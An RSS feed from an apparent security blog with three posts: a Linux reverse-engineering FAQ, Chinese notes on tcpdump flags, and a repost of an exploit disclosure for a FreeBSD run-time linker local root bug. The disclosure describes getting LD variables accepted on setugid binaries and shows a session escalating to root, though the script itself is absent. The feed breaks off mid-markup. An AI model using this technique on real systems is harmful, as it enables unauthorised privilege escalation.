﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kernel@Sh≮Analysis≯</title>
	<atom:link href="http://www.kernel.sh/Analysis/index.php/feed" rel="self" type="application/rss+xml" />
	<link>http://www.kernel.sh/Analysis</link>
	<description>/dev/null</description>
	<lastBuildDate>Mon, 18 Jan 2010 07:16:18 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Linux RCE Starting Guide by SilkCut</title>
		<link>http://www.kernel.sh/Analysis/index.php/archives/288</link>
		<comments>http://www.kernel.sh/Analysis/index.php/archives/288#comments</comments>
		<pubDate>Mon, 18 Jan 2010 07:16:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[*nix Programming]]></category>

		<guid isPermaLink="false">http://www.kernel.sh/Analysis/?p=288</guid>
		<description><![CDATA[

http://www.reverse-engineering.net/viewtopic.php?f=35&#38;t=7825

&#8230;&#8230;

Hello,
A lot of intrigued reversers, new or skilled, are asking questions about Linux, don&#8217;t worry, you&#8217;re not alone&#160; I felt like a topic resuming common questions, well known tools shall be (re)created. That would be wonderful to have such topic to become a reference we can suggest to people asking for it, don&#8217;t you think [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-288"></span>
<div class="hl-surround">
<div class="hl-main">http://www.reverse-engineering.net/viewtopic.php?f=35&amp;t=7825</div>
</div>
<p>&#8230;&#8230;</p>
<div class="hl-surround">
<div class="hl-main">Hello,</p>
<p>A lot of intrigued reversers, new or skilled, are asking questions about Linux, don&#8217;t worry, you&#8217;re not alone&nbsp; <br />I felt like a topic resuming common questions, well known tools shall be (re)created. That would be wonderful to have such topic to become a reference we can suggest to people asking for it, don&#8217;t you think ?<br />Comments and suggestions are welcome as long as you keep it informative. No chit-chat here please, only links, tips ands tricks.&nbsp; </p>
<p>DISCLAIMER<br />Through this thread I am not encouraging people to hack, destroy or steal anything, you must comply with laws and you shall take entire responsability if you use this knowledge for bad behaviour. With great power (and in our information system-controlled world, every reverser, hacker, vxer has powers) comes great responsabilities. Reverse engineering is not always legal, check EULA/laws in your country. (Some interesting essays have been written on the subject, can you find them ?) A lot of companies are hiring reversers, malware analysts, win/linternals specialists for their own goods, YOU have the right to benefit this knowledge too,but don&#8217;t fall into the trap of skiddies activity..&nbsp; </p>
<p>Q &amp; A</p>
<p>Q: I am new to reversing, can you advise me wether to choose Windows or Linux ?<br />A: No, for the simple reason that we cannot push you to decide what you want to do. Windows and its internals are fascinating reversers since ages, a lot of people are writing tuts, experimenting things, sharing tricks and discussing issues, Linux as well as other UNIX-like platform is less mainstream, therefore you are on your own, looking for someone that did it before, or simply threw some ideas you could investigate. But this thread could help you a bit. </p>
<p>Q: Ok, but what distrib should I use ?<br />A: If you already know linux enough (use at home/work) you can choose every flavor you like ! From RPM-style to DEB-stuff, including i-compil-everything-on-my-own, source-based distribs. If this is not the case, or if you want to use a virtual machine, please download Damn Vulnerable Linux (refer to the tool list)</p>
<p>Q: I am new to reversing with Linux, where should I start ?<br />Q: Be sure to have sufficient assembly knowledge, at least one programming language skills (C/C++ are preferable since Linux in written with it, but Perl/Python are advised. Those parts are not treated here). As for Windows with its PE file format, Linux ELF is a unconditional step for reversing. A next step could be to try some crackmes under Linux, or try some wargames to know more about this arch. |STILL UNDER CONSTRUCTION|</p>
<p>Q: What tool should I use to disassemble,debug my target ?<br />A: Nobody can force you to use this or that but Linux comes with some tools like GDB (debugger), objdump (retrieve assembly)/hexdump (retrieve hex), ltrace/ptrace/strace/utrace (investigate the program execution flow)&#8230; Please refer to the tool list and make your own opinion, manuals as well as tutorials/papers are available.</p>
<p>Q: I lack training with Linux and Linternals, could you help me ?<br />A: RTFM ! A lot of documentation about Linux inner workings are available on the net, use a search engine or check the link category. You could for example search for Linux Kernel internals.You could also train your skills with wargames or crackmes. If you need a certification for your professional activities, check this out</p>
<p>Q: This tool is broken/outdated/doesn&#8217;t work as I&#8217;d want, can you help me ?<br />A: If you think the tool is broken try to contact the author: we are not a support forum, if it&#8217;s outdated post in the Linux area and be as specific as you can, no crack requests ! We&#8217;re not providing 100% working solutions, only pointers for your own research. If you cannot use the tool correctly, if you read every documentation available about it, if you tried everything and even googled for it desperately, you can post in the Linux Area.</p>
<p>Q: I need something that is not on the list, I asked for help and someone told me to Google, is this is a forum or what ?<br />A: We (people helping) are not assisting brain-disabled people, this is a bit rude, okay, but we will only help those who showed some implications, some previous work to solve their issue, and that actually did everything possible before asking. If we found out that the answer is in the first page on Google and you still ask for a link, you&#8217;ll get in serious trouble. If you are advised so, you can request a tool/paper to be added in this list.</p>
<p>Q: I made a tool, would you like to include it on your list ? / My tool|paper is in this list, I don&#8217;t want it !<br />A: That would be a pleasure ! First, talk to the CRCETL guys over there so they can add your tool (and a local copy of it) in their great list, then notify your link to us, we will add it.<br />If you want some materials to be removed, contact me but remember: if it was previously, legally, accessible on the Web you can get lost..</p>
<p>About this</p>
<p>Q: This has been done before here and there (like 0xf001&#8217;s place), why reinventing the wheel ?<br />A: If your links contains materials we missed, please contact us, we would be delighted to add it in the list as long as it complies with our rules.As for external sites, well I have been confronted too many times to pages or links that disappeared because of domain expiration/hosting problem etc, no one is to blame, we all have a life and such activities ain&#8217;t free. To prevent this issue I highly recommend you to copy this thread to your own forum/disk/whatever.</p>
<p>Q: Why such strict rules about legality ? This is reversing after all, and some of your links leads to place where illegal things are discussed (hacking/vxing)<br />A: Reversing is not always authorized, check the EULA of your target if any available. By posting here you automatically comply with the rules and the law this board is subject to (ie. what is legal in YOUR country doesn&#8217;t mean it is everywhere on the INTERNET). This is a scientific, technical-oriented board that doesn&#8217;t focus on warez despite some subject might be borderline. This is only made to avoid getting Zero into troubles.<br />As for Hacking/VXing, well I am not encouraging this at all, but it is your right to get information, I am not the one to tell you what to do about it. I hope you choose to stay clean though, getting in troubles ain&#8217;t fun. And trust me you&#8217;ll get to it sooner or later.</p>
<p>Q: This is cool but I would prefer a step-by-step tutorial to learn what button to press and where to look, for my specific needs?<br />A: Then you failed at the first and the most important step: working on your own; use your brain, use Google, use the forum search function, try things, read about everything you can before asking a question on a forum. This is for your own sake, please don&#8217;t be another &quot;I need a tutorial to pee&quot; guy. If you lack direction or ideas, please read about +Fravia (may he rest in peace) and +HCU. They could change your view of reversing from &quot;I press buttons on my debugger but I don&#8217;t really know what I&#8217;m doing&quot; to the all-mighty &quot;I can express my reversing skills in the real world, in almost every possible situation&quot;. If you get to this state of mind, I have nothing to `teach` you. </p>
<p>Q: Is a similar list for Windows is going to see the light some day ..?<br />A: I have a file in preparation, however it will not be hosted here: I&#8217;d like it to be as exhaustive as possible so it won&#8217;t comply with the rules.</p>
<p>Q: Hey some links are in a strange language I don&#8217;t understand, can&#8217;t you add articles in my mothertongue too ?<br />A: My lack of knowledge is deepless, I only speak two or three languages. If you have materials in spanish, german etc I don&#8217;t see any problem to add them here. If you are speaking languages like chinese, arab or hindi (most spoken languages on earth) a translation would be warmly welcome, if you are opposed to this idea, make your own list pal.</div>
</div>
<p><!--more--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kernel.sh/Analysis/index.php/archives/288/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tcpdump 抓取HTTP数据报</title>
		<link>http://www.kernel.sh/Analysis/index.php/archives/280</link>
		<comments>http://www.kernel.sh/Analysis/index.php/archives/280#comments</comments>
		<pubDate>Wed, 23 Dec 2009 02:38:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[*nix Common settings]]></category>

		<guid isPermaLink="false">http://www.kernel.sh/Analysis/?p=280</guid>
		<description><![CDATA[

&#8230;UserName:Kernel@Sh&#8230;


tcpdump -i wlan0 -enn -XX -vv tcp port 80 -s 500 -w /tmp/tcpdump.bak
-i //指定网络接口 -=-=- wlan0 eth0 -=-=--vv //打印出更详细的信息模式tcp //指定协议类型为TCPport //指定端口号 -=-=- 后面跟端口号-c //当收到count报文后退出-s //重定义截取报文大小，默认为96（或68），如果定义为0，则表示获取完整报文。该参数应尽量小，尤其在繁忙网络环境中-w //输出到某个文件-XX //以16 进制数形式显示每一个报文(包含链路层报头)，同时显示ASCII码-e //每一行显示数据链路层报文:源MAC地址&#62;目的MAC地址，以太类型 IPV4 (0X0800), 包数据长度host //指定域名或者机器名或者IP 者目标的 -=-=- host www.Kernel.sh -=-=--n //别把地址转换成名字：显示ip地址，而非主机名称-nn //别把协议和端口号转换为服务名：譬如显示80端口而非HTTP
//输出到文件，直接查看文件比较友好一点


]]></description>
			<content:encoded><![CDATA[<p><span id="more-280"></span></p>
<div class="hl-surround">
<div class="hl-main">&#8230;UserName:Kernel@Sh&#8230;</div>
</div>
<div class="hl-surround">
<div class="hl-main">tcpdump -i wlan0 -enn -XX -vv tcp port 80 -s 500 -w /tmp/tcpdump.bak</p>
<p>-i //指定网络接口 -=-=- wlan0 eth0 -=-=-<br />-vv //打印出更详细的信息模式<br />tcp //指定协议类型为TCP<br />port //指定端口号 -=-=- 后面跟端口号<br />-c //当收到count报文后退出<br />-s //重定义截取报文大小，默认为96（或68），如果定义为0，则表示获取完整报文。该参数应尽量小，尤其在繁忙网络环境中<br />-w //输出到某个文件<br />-XX //以16 进制数形式显示每一个报文(包含链路层报头)，同时显示ASCII码<br />-e //每一行显示数据链路层报文:源MAC地址&gt;目的MAC地址，以太类型 IPV4 (0X0800), 包数据长度<br />host //指定域名或者机器名或者IP 者目标的 -=-=- host www.Kernel.sh -=-=-<br />-n //别把地址转换成名字：显示ip地址，而非主机名称<br />-nn //别把协议和端口号转换为服务名：譬如显示80端口而非HTTP</p>
<p>//输出到文件，直接查看文件比较友好一点</p></div>
</div>
<p><!--more--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kernel.sh/Analysis/index.php/archives/280/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD Run-Time Link-Editor Local r00t Zeroday</title>
		<link>http://www.kernel.sh/Analysis/index.php/archives/268</link>
		<comments>http://www.kernel.sh/Analysis/index.php/archives/268#comments</comments>
		<pubDate>Tue, 01 Dec 2009 06:13:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Infiltration invasion]]></category>

		<guid isPermaLink="false">http://www.kernel.sh/Analysis/?p=268</guid>
		<description><![CDATA[

################################ EDB-ID: 10255 # CVE-ID: () # Title: FreeBSD Run-Time Link-Editor Local r00t Zeroday # Author: Kingcope # Published: 2009-11-30 # Download Exploit Code # Download N/A###############################&#160;Discovered &#38; Exploited by Nikolaos Rangos also known as Kingcope.Nov 2009 &#34;BiG TiME&#34;&#160;&#34;Go fetch your FreeBSD r00tkitz&#34; // http://www.youtube.com/watch?v=dDnhthI27Fg&#160;There is an unbelievable simple local r00t bug in recent FreeBSD [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-268"></span>
<div class="hl-surround">
<div class="hl-main"><span style="color: Gray;">###############################<br /></span><span class="hl-prepro"># EDB</span><span style="color: Gray;">-</span><span style="color: Blue;">ID</span><span style="color: Gray;">: </span><span style="color: Maroon;">10255</span><span style="color: Gray;"> </span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span class="hl-prepro"># CVE</span><span style="color: Gray;">-</span><span style="color: Blue;">ID</span><span style="color: Gray;">: </span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span class="hl-prepro"># Title</span><span style="color: Gray;">: </span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Blue;">Run</span><span style="color: Gray;">-</span><span style="color: Blue;">Time</span><span style="color: Gray;"> </span><span style="color: Blue;">Link</span><span style="color: Gray;">-</span><span style="color: Blue;">Editor</span><span style="color: Gray;"> </span><span style="color: Blue;">Local</span><span style="color: Gray;"> </span><span style="color: Blue;">r00t</span><span style="color: Gray;"> </span><span style="color: Blue;">Zeroday</span><span style="color: Gray;"> </span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span class="hl-prepro"># Author</span><span style="color: Gray;">: </span><span style="color: Blue;">Kingcope</span><span style="color: Gray;"> </span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span class="hl-prepro"># Published</span><span style="color: Gray;">: </span><span style="color: Maroon;">2009</span><span style="color: Gray;">-</span><span style="color: Maroon;">11</span><span style="color: Gray;">-</span><span style="color: Maroon;">30</span><span style="color: Gray;"> </span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span class="hl-prepro"># Download</span><span style="color: Gray;"> </span><span style="color: Blue;">Exploit</span><span style="color: Gray;"> </span><span style="color: Blue;">Code</span><span style="color: Gray;"> </span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span class="hl-prepro"># Download</span><span style="color: Gray;"> </span><span style="color: Blue;">N</span><span style="color: Gray;">/</span><span style="color: Blue;">A</span><span class="hl-prepro"></span><span style="color: Gray;"><br />###############################<br />&nbsp;<br /></span><span style="color: Blue;">Discovered</span><span style="color: Gray;"> &amp; </span><span style="color: Blue;">Exploited</span><span style="color: Gray;"> </span><span style="color: Blue;">by</span><span style="color: Gray;"> </span><span style="color: Blue;">Nikolaos</span><span style="color: Gray;"> </span><span style="color: Blue;">Rangos</span><span style="color: Gray;"> </span><span style="color: Blue;">also</span><span style="color: Gray;"> </span><span style="color: Blue;">known</span><span style="color: Gray;"> </span><span style="color: Blue;">as</span><span style="color: Gray;"> </span><span style="color: Blue;">Kingcope</span><span style="color: Gray;">.<br /></span><span style="color: Blue;">Nov</span><span style="color: Gray;"> </span><span style="color: Maroon;">2009</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">BiG TiME</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Go fetch your FreeBSD r00tkitz</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #ffa500;">// http://www.youtube.com/watch?v=dDnhthI27Fg</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Blue;">There</span><span style="color: Gray;"> </span><span style="color: Blue;">is</span><span style="color: Gray;"> </span><span style="color: Blue;">an</span><span style="color: Gray;"> </span><span style="color: Blue;">unbelievable</span><span style="color: Gray;"> </span><span style="color: Blue;">simple</span><span style="color: Gray;"> </span><span style="color: Blue;">local</span><span style="color: Gray;"> </span><span style="color: Blue;">r00t</span><span style="color: Gray;"> </span><span style="color: Blue;">bug</span><span style="color: Gray;"> </span><span style="color: Blue;">in</span><span style="color: Gray;"> </span><span style="color: Blue;">recent</span><span style="color: Gray;"> </span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Blue;">versions</span><span style="color: Gray;">.<br /></span><span style="color: Blue;">I</span><span style="color: Gray;"> </span><span style="color: Blue;">audited</span><span style="color: Gray;"> </span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Green;">for</span><span style="color: Gray;"> </span><span style="color: Blue;">local</span><span style="color: Gray;"> </span><span style="color: Blue;">r00t</span><span style="color: Gray;"> </span><span style="color: Blue;">bugs</span><span style="color: Gray;"> </span><span style="color: Blue;">a</span><span style="color: Gray;"> </span><span class="hl-types">long</span><span style="color: Gray;"> </span><span style="color: Blue;">time</span><span style="color: Gray;"> *</span><span style="color: Blue;">sigh</span><span style="color: Gray;">*. </span><span style="color: Blue;">Now</span><span style="color: Gray;"> </span><span style="color: Blue;">it</span><span style="color: Gray;"> </span><span style="color: Blue;">pays</span><span style="color: Gray;"> </span><span style="color: Blue;">out</span><span style="color: Gray;">.<br />&nbsp;<br /></span><span style="color: Blue;">The</span><span style="color: Gray;"> </span><span style="color: Blue;">bug</span><span style="color: Gray;"> </span><span style="color: Blue;">resides</span><span style="color: Gray;"> </span><span style="color: Blue;">in</span><span style="color: Gray;"> </span><span style="color: Blue;">the</span><span style="color: Gray;"> </span><span style="color: Blue;">Run</span><span style="color: Gray;">-</span><span style="color: Blue;">Time</span><span style="color: Gray;"> </span><span style="color: Blue;">Link</span><span style="color: Gray;">-</span><span style="color: Blue;">Editor</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Blue;">rtld</span><span style="color: Olive;">)</span><span style="color: Gray;">.<br /></span><span style="color: Blue;">Normally</span><span style="color: Gray;"> </span><span style="color: Blue;">rtld</span><span style="color: Gray;"> </span><span style="color: Blue;">does</span><span style="color: Gray;"> </span><span style="color: Green;">not</span><span style="color: Gray;"> </span><span style="color: Blue;">allow</span><span style="color: Gray;"> </span><span style="color: Blue;">dangerous</span><span style="color: Gray;"> </span><span style="color: Blue;">environment</span><span style="color: Gray;"> </span><span style="color: Blue;">variables</span><span style="color: Gray;"> </span><span style="color: Blue;">like</span><span style="color: Gray;"> </span><span style="color: Blue;">LD_PRELOAD</span><span style="color: Gray;"><br /></span><span style="color: Blue;">to</span><span style="color: Gray;"> </span><span style="color: Blue;">be</span><span style="color: Gray;"> </span><span style="color: Blue;">set</span><span style="color: Gray;"> </span><span style="color: Blue;">when</span><span style="color: Gray;"> </span><span style="color: Blue;">executing</span><span style="color: Gray;"> </span><span style="color: Blue;">setugid</span><span style="color: Gray;"> </span><span style="color: Blue;">binaries</span><span style="color: Gray;"> </span><span style="color: Blue;">like</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">ping</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">su</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.<br /></span><span style="color: Blue;">With</span><span style="color: Gray;"> </span><span style="color: Blue;">a</span><span style="color: Gray;"> </span><span style="color: Blue;">rather</span><span style="color: Gray;"> </span><span style="color: Blue;">simple</span><span style="color: Gray;"> </span><span style="color: Blue;">technique</span><span style="color: Gray;"> </span><span style="color: Blue;">rtld</span><span style="color: Gray;"> </span><span style="color: Blue;">can</span><span style="color: Gray;"> </span><span style="color: Blue;">be</span><span style="color: Gray;"> </span><span style="color: Blue;">tricked</span><span style="color: Gray;"> </span><span style="color: Blue;">into</span><span style="color: Gray;"><br /></span><span style="color: Blue;">accepting</span><span style="color: Gray;"> </span><span style="color: Blue;">LD</span><span style="color: Gray;"> </span><span style="color: Blue;">variables</span><span style="color: Gray;"> </span><span style="color: Blue;">even</span><span style="color: Gray;"> </span><span style="color: Blue;">on</span><span style="color: Gray;"> </span><span style="color: Blue;">setugid</span><span style="color: Gray;"> </span><span style="color: Blue;">binaries</span><span style="color: Gray;">.<br /></span><span style="color: Blue;">See</span><span style="color: Gray;"> </span><span style="color: Blue;">the</span><span style="color: Gray;"> </span><span style="color: Blue;">attached</span><span style="color: Gray;"> </span><span style="color: Blue;">exploit</span><span style="color: Gray;"> </span><span style="color: Green;">for</span><span style="color: Gray;"> </span><span style="color: Blue;">details</span><span style="color: Gray;">.<br />&nbsp;<br /></span><span style="color: Blue;">Example</span><span style="color: Gray;"> </span><span style="color: Blue;">exploiting</span><span style="color: Gray;"> </span><span style="color: Blue;">session</span><span style="color: Gray;"><br />**********************************<br />%</span><span style="color: Blue;">uname</span><span style="color: Gray;"> -</span><span style="color: Blue;">a</span><span style="color: Gray;">;</span><span style="color: Blue;">id</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Blue;">r00tbox</span><span style="color: Gray;">.</span><span style="color: Blue;">Belkin</span><span style="color: Gray;"> </span><span style="color: Maroon;">8.0</span><span style="color: Gray;">-</span><span style="color: Blue;">RELEASE</span><span style="color: Gray;"> </span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Maroon;">8.0</span><span style="color: Gray;">-</span><span style="color: Blue;">RELEASE</span><span style="color: Gray;"> #</span><span style="color: Maroon;">0</span><span style="color: Gray;">: </span><span style="color: Blue;">Sat</span><span style="color: Gray;"> </span><span style="color: Blue;">Nov</span><span style="color: Gray;"> </span><span style="color: Maroon;">21</span><span style="color: Gray;"><br /></span><span style="color: Maroon;">15</span><span style="color: Gray;">:</span><span style="color: Maroon;">48</span><span style="color: Gray;">:</span><span style="color: Maroon;">17</span><span style="color: Gray;"> </span><span style="color: Blue;">UTC</span><span style="color: Gray;"> </span><span style="color: Maroon;">2009</span><span style="color: Gray;"><br /></span><span style="color: Blue;">root</span><span style="color: Gray;">@</span><span style="color: Blue;">almeida</span><span style="color: Gray;">.</span><span style="color: Blue;">cse</span><span style="color: Gray;">.</span><span style="color: Blue;">buffalo</span><span style="color: Gray;">.</span><span style="color: Blue;">edu</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">obj</span><span style="color: Gray;">/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">src</span><span style="color: Gray;">/</span><span style="color: Blue;">sys</span><span style="color: Gray;">/</span><span style="color: Blue;">GENERIC</span><span style="color: Gray;">&nbsp; </span><span style="color: Blue;">i386</span><span style="color: Gray;"><br /></span><span style="color: Blue;">uid</span><span style="color: Gray;">=</span><span style="color: Maroon;">1001</span><span style="color: Olive;">(</span><span style="color: Blue;">kcope</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Blue;">gid</span><span style="color: Gray;">=</span><span style="color: Maroon;">1001</span><span style="color: Olive;">(</span><span style="color: Blue;">users</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Blue;">groups</span><span style="color: Gray;">=</span><span style="color: Maroon;">1001</span><span style="color: Olive;">(</span><span style="color: Blue;">users</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />%./</span><span style="color: Blue;">w00t</span><span style="color: Gray;">.</span><span style="color: Blue;">sh</span><span style="color: Gray;"><br /></span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Blue;">local</span><span style="color: Gray;"> </span><span style="color: Blue;">r00t</span><span style="color: Gray;"> </span><span style="color: Blue;">zeroday</span><span style="color: Gray;"><br /></span><span style="color: Blue;">by</span><span style="color: Gray;"> </span><span style="color: Blue;">Kingcope</span><span style="color: Gray;"><br /></span><span style="color: Blue;">November</span><span style="color: Gray;"> </span><span style="color: Maroon;">2009</span><span style="color: Gray;"><br /></span><span style="color: Blue;">env</span><span style="color: Gray;">.</span><span style="color: Blue;">c</span><span style="color: Gray;">: </span><span style="color: Blue;">In</span><span style="color: Gray;"> </span><span style="color: Blue;">function</span><span style="color: Gray;"> &#8216;</span><span style="color: Blue;">main</span><span style="color: Gray;">&#8216;:<br /></span><span style="color: Blue;">env</span><span style="color: Gray;">.</span><span style="color: Blue;">c</span><span style="color: Gray;">:</span><span style="color: Maroon;">5</span><span style="color: Gray;">: </span><span style="color: Blue;">warning</span><span style="color: Gray;">: </span><span style="color: Blue;">incompatible</span><span style="color: Gray;"> </span><span style="color: Blue;">implicit</span><span style="color: Gray;"> </span><span style="color: Blue;">declaration</span><span style="color: Gray;"> </span><span style="color: Blue;">of</span><span style="color: Gray;"> </span><span style="color: Blue;">built</span><span style="color: Gray;">-</span><span style="color: Blue;">in</span><span style="color: Gray;"><br /></span><span style="color: Blue;">function</span><span style="color: Gray;"> &#8216;</span><span style="color: Blue;">malloc</span><span style="color: Gray;">&#8216;<br /></span><span style="color: Blue;">env</span><span style="color: Gray;">.</span><span style="color: Blue;">c</span><span style="color: Gray;">:</span><span style="color: Maroon;">9</span><span style="color: Gray;">: </span><span style="color: Blue;">warning</span><span style="color: Gray;">: </span><span style="color: Blue;">incompatible</span><span style="color: Gray;"> </span><span style="color: Blue;">implicit</span><span style="color: Gray;"> </span><span style="color: Blue;">declaration</span><span style="color: Gray;"> </span><span style="color: Blue;">of</span><span style="color: Gray;"> </span><span style="color: Blue;">built</span><span style="color: Gray;">-</span><span style="color: Blue;">in</span><span style="color: Gray;"><br /></span><span style="color: Blue;">function</span><span style="color: Gray;"> &#8216;</span><span style="color: Blue;">strcpy</span><span style="color: Gray;">&#8216;<br /></span><span style="color: Blue;">env</span><span style="color: Gray;">.</span><span style="color: Blue;">c</span><span style="color: Gray;">:</span><span style="color: Maroon;">11</span><span style="color: Gray;">: </span><span style="color: Blue;">warning</span><span style="color: Gray;">: </span><span style="color: Blue;">incompatible</span><span style="color: Gray;"> </span><span style="color: Blue;">implicit</span><span style="color: Gray;"> </span><span style="color: Blue;">declaration</span><span style="color: Gray;"> </span><span style="color: Blue;">of</span><span style="color: Gray;"> </span><span style="color: Blue;">built</span><span style="color: Gray;">-</span><span style="color: Blue;">in</span><span style="color: Gray;"><br /></span><span style="color: Blue;">function</span><span style="color: Gray;"> &#8216;</span><span style="color: Blue;">execl</span><span style="color: Gray;">&#8216;<br />/</span><span style="color: Blue;">libexec</span><span style="color: Gray;">/</span><span style="color: Blue;">ld</span><span style="color: Gray;">-</span><span style="color: Blue;">elf</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1</span><span style="color: Gray;">: </span><span style="color: Blue;">environment</span><span style="color: Gray;"> </span><span style="color: Blue;">corrupt</span><span style="color: Gray;">; </span><span style="color: Blue;">missing</span><span style="color: Gray;"> </span><span style="color: Blue;">value</span><span style="color: Gray;"> </span><span style="color: Green;">for</span><span style="color: Gray;"><br />/</span><span style="color: Blue;">libexec</span><span style="color: Gray;">/</span><span style="color: Blue;">ld</span><span style="color: Gray;">-</span><span style="color: Blue;">elf</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1</span><span style="color: Gray;">: </span><span style="color: Blue;">environment</span><span style="color: Gray;"> </span><span style="color: Blue;">corrupt</span><span style="color: Gray;">; </span><span style="color: Blue;">missing</span><span style="color: Gray;"> </span><span style="color: Blue;">value</span><span style="color: Gray;"> </span><span style="color: Green;">for</span><span style="color: Gray;"><br />/</span><span style="color: Blue;">libexec</span><span style="color: Gray;">/</span><span style="color: Blue;">ld</span><span style="color: Gray;">-</span><span style="color: Blue;">elf</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1</span><span style="color: Gray;">: </span><span style="color: Blue;">environment</span><span style="color: Gray;"> </span><span style="color: Blue;">corrupt</span><span style="color: Gray;">; </span><span style="color: Blue;">missing</span><span style="color: Gray;"> </span><span style="color: Blue;">value</span><span style="color: Gray;"> </span><span style="color: Green;">for</span><span style="color: Gray;"><br />/</span><span style="color: Blue;">libexec</span><span style="color: Gray;">/</span><span style="color: Blue;">ld</span><span style="color: Gray;">-</span><span style="color: Blue;">elf</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1</span><span style="color: Gray;">: </span><span style="color: Blue;">environment</span><span style="color: Gray;"> </span><span style="color: Blue;">corrupt</span><span style="color: Gray;">; </span><span style="color: Blue;">missing</span><span style="color: Gray;"> </span><span style="color: Blue;">value</span><span style="color: Gray;"> </span><span style="color: Green;">for</span><span style="color: Gray;"><br />/</span><span style="color: Blue;">libexec</span><span style="color: Gray;">/</span><span style="color: Blue;">ld</span><span style="color: Gray;">-</span><span style="color: Blue;">elf</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1</span><span style="color: Gray;">: </span><span style="color: Blue;">environment</span><span style="color: Gray;"> </span><span style="color: Blue;">corrupt</span><span style="color: Gray;">; </span><span style="color: Blue;">missing</span><span style="color: Gray;"> </span><span style="color: Blue;">value</span><span style="color: Gray;"> </span><span style="color: Green;">for</span><span style="color: Gray;"><br />/</span><span style="color: Blue;">libexec</span><span style="color: Gray;">/</span><span style="color: Blue;">ld</span><span style="color: Gray;">-</span><span style="color: Blue;">elf</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1</span><span style="color: Gray;">: </span><span style="color: Blue;">environment</span><span style="color: Gray;"> </span><span style="color: Blue;">corrupt</span><span style="color: Gray;">; </span><span style="color: Blue;">missing</span><span style="color: Gray;"> </span><span style="color: Blue;">value</span><span style="color: Gray;"> </span><span style="color: Green;">for</span><span style="color: Gray;"><br /></span><span style="color: Blue;">ALEX</span><span style="color: Gray;">-</span><span style="color: Blue;">ALEX</span><span style="color: Gray;"><br /></span><span class="hl-prepro"># uname</span><span style="color: Gray;"> -</span><span style="color: Blue;">a</span><span style="color: Gray;">;</span><span style="color: Blue;">id</span><span style="color: Gray;">;</span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Blue;">r00tbox</span><span style="color: Gray;">.</span><span style="color: Blue;">Belkin</span><span style="color: Gray;"> </span><span style="color: Maroon;">8.0</span><span style="color: Gray;">-</span><span style="color: Blue;">RELEASE</span><span style="color: Gray;"> </span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Maroon;">8.0</span><span style="color: Gray;">-</span><span style="color: Blue;">RELEASE</span><span style="color: Gray;"> #</span><span style="color: Maroon;">0</span><span style="color: Gray;">: </span><span style="color: Blue;">Sat</span><span style="color: Gray;"> </span><span style="color: Blue;">Nov</span><span style="color: Gray;"> </span><span style="color: Maroon;">21</span><span style="color: Gray;"><br /></span><span 